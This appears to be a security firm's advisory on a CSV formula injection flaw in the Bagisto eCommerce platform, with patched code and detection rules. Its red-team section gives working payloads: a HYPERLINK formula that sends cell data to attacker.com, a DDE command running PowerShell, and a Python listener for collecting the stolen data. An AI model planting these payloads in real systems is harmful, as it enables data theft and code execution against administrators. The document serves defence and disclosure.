CVE-2025-62417

Executive Summary

CVE-2025-62417 is a CSV Injection vulnerability (CWE-1236) in Bagisto, an open-source Laravel eCommerce platform. The vulnerability allows an attacker with product management privileges to inject spreadsheet formula characters (e.g., =, +, -, @) into product data fields (such as product name). When an administrator or other user exports this data to a CSV file and opens it in a spreadsheet application (e.g., Microsoft Excel, LibreOffice Calc), the injected formula is executed. This can lead to data exfiltration from the victim's machine and, in older spreadsheet versions, remote command execution via OLE/cmd constructs or macros. The vulnerability is fixed in Bagisto version 2.3.8.

Supply Chain & Package Security

Bagisto is a PHP/Laravel package distributed via Composer. The vulnerability exists in the core application code responsible for CSV export. The fix is included in version 2.3.8 of the bagisto/bagisto package. Users should update their Composer dependency to ^2.3.8 to remediate the issue. No malicious packages or compromised dependencies have been identified in relation to this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
• Base Score: 8.0 (High)
• Attack Vector (AV): Network (N) – The attacker can inject the payload remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs product management access.
• User Interaction (UI): Required (R) – Victim must open the CSV file in a spreadsheet application.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component to the victim's spreadsheet application and system.
• Confidentiality (C): High (H) – Potential data exfiltration.
• Integrity (I): High (H) – Potential for arbitrary command execution.
• Availability (A): High (H) – Potential for system compromise.

Threat Level: High. While user interaction is required, the potential for remote code execution and data theft makes this a critical vulnerability for organizations using Bagisto.

Deep Dive & Mechanics

The vulnerability resides in the CSV export functionality of Bagisto. When an administrator exports product data (e.g., product names, SKUs, descriptions) to a CSV file, the application does not sanitize fields that begin with spreadsheet formula characters. Spreadsheet applications like Microsoft Excel and LibreOffice Calc interpret cells starting with =, +, -, or @ as formulas.

Attack Flow:

1. Prerequisite: The attacker must have access to a Bagisto account with product creation/editing privileges (e.g., a vendor or admin).
2. Injection: The attacker creates or edits a product, setting the product name (or another exported field) to a malicious formula string, such as =cmd|' /C calc'!A0 (an old Excel DDE command) or =HYPERLINK("http://attacker.com/steal?data="&A1,"Click").
3. Trigger: An administrator exports the product list to CSV.
4. Execution: The administrator opens the CSV file in a spreadsheet application. The application interprets the injected cell as a formula and executes it.
5. Impact: The formula can exfiltrate data from the victim's machine (e.g., via HTTP requests) or, in older Excel versions, execute arbitrary commands via DDE or macros.

Key Technical Details:

• The vulnerability is specific to the CSV export module. Other export formats (e.g., XLSX) may not be affected.
• The fix in version 2.3.8 involves prepending a single quote (') or tab character to fields starting with formula characters, which prevents the spreadsheet from interpreting them as formulas.
• The vulnerability is classified under CWE-1236: Improper Neutralization of Formula Elements in a CSV File.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2.3.8): The CSV export function directly writes product data fields without sanitization.

// Vulnerable example (conceptual)
public function exportCsv($products)
{
    $csv = fopen('php://output', 'w');
    foreach ($products as $product) {
        fputcsv($csv, [
            $product->name,
            $product->sku,
            $product->price,
        ]);
    }
    fclose($csv);
}

Patched Code (2.3.8): The patched version sanitizes fields that start with formula characters.

// Patched example (conceptual)
public function exportCsv($products)
{
    $csv = fopen('php://output', 'w');
    foreach ($products as $product) {
        $name = $product->name;
        // Sanitize formula characters
        if (preg_match('/^[=+\-@]/', $name)) {
            $name = "'" . $name;
        }
        fputcsv($csv, [
            $name,
            $product->sku,
            $product->price,
        ]);
    }
    fclose($csv);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Bagisto instance (version < 2.3.8) with product creation privileges.
• A victim who will open the exported CSV in a spreadsheet application.

Exploitation Steps:

1. Login to Bagisto as a user with product creation rights.
2. Create a new product with the following payload in the product name field:

   =HYPERLINK("http://attacker.com/steal?data="&A1,"Click here")
   

   This payload will create a hyperlink that, when clicked, sends the contents of cell A1 to the attacker's server.
3. For more impact, use a DDE payload (works on older Excel versions):

   =cmd|'/C powershell -e <base64_encoded_payload>'!A0
   

4. Save the product and wait for an administrator to export the product list.
5. Set up a listener on your attacker server to capture exfiltrated data.

Example Python Listener:

from http.server import HTTPServer, BaseHTTPRequestHandler

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f"Received: {self.path}")
        self.send_response(200)
        self.end_headers()

HTTPServer(('0.0.0.0', 80), Handler).serve_forever()

Blue Team

Detection and Prevention:

1. Update Bagisto to version 2.3.8 or later immediately.
2. Monitor CSV exports for suspicious patterns. Use the YARA and Sigma rules below.
3. Educate users to never open CSV files from untrusted sources or to open them in a text editor first.
4. Implement Content Security Policy (CSP) headers to restrict outbound connections from spreadsheet applications (limited effectiveness).
5. Use a CSV sanitization proxy that strips formula characters before delivery to end users.

Lab Setup for Testing:

1. Install a vulnerable Bagisto version (e.g., 2.3.7) in a Docker container.
2. Create a test product with a formula payload.
3. Export the product list and open the CSV in a sandboxed spreadsheet application.
4. Verify that the formula executes (e.g., a calculator opens or a network request is made).

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP/HTTPS requests from a spreadsheet application (e.g., excel.exe, soffice.bin) to suspicious domains.
  • DNS queries for domains used in formula payloads.
• File IOCs:
  • CSV files containing cells starting with =, +, -, or @ followed by function names like HYPERLINK, cmd, DDE, POWERSHELL, etc.
  • CSV files with unusually long cell values (payloads).
• System IOCs:
  • Unexpected command execution (e.g., calc.exe, powershell.exe) triggered by opening a CSV file.
  • Registry modifications or file writes from spreadsheet macro execution.

Detection Engineering

YARA Rule

rule CVE_2025_62417_CSV_Injection {
    meta:
        description = "Detects CSV files with potential formula injection patterns"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62417"
    strings:
        $formula_start = /^[=+\-@]/ nocase
        $cmd_payload = /cmd|'\/C/i
        $hyperlink_payload = /HYPERLINK/i
        $dde_payload = /DDE/i
    condition:
        $formula_start at 0 and (
            $cmd_payload or $hyperlink_payload or $dde_payload
        )
}

Sigma Rule

title: CSV Formula Injection via Bagisto Export
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects CSV files containing formula injection patterns from Bagisto exports
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|endswith: '.csv'
        TargetFilename|contains: 'bagisto_export'
    filter:
        - TargetFilename|contains: 'sanitized'
    condition: selection and not filter
falsepositives:
    - Legitimate use of formulas in CSV files
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62417 Bagisto CSV Injection - Potential Data Exfiltration"; flow:to_server; content:"/steal?data="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Bagisto to version 2.3.8 or later. Run composer update bagisto/bagisto to apply the patch.
2. If upgrade is not possible, implement a virtual patch by modifying the CSV export code to sanitize formula characters (as shown in the patched code example).
3. Review user permissions to ensure only trusted users have product creation/editing rights.

Long-Term Mitigations:

1. Implement input validation on all product fields to reject or sanitize formula characters at the point of entry.
2. Use a WAF (Web Application Firewall) to detect and block CSV injection payloads in HTTP requests.
3. Conduct regular security training for administrators on the risks of opening CSV files from untrusted sources.
4. Enable macro security settings in spreadsheet applications to block automatic execution of macros and DDE commands.

Workaround:

• Instruct administrators to open CSV files in a text editor (e.g., Notepad) before opening them in a spreadsheet application. This allows them to visually inspect for malicious formulas.

Valters IT
Securing Digital Frontiers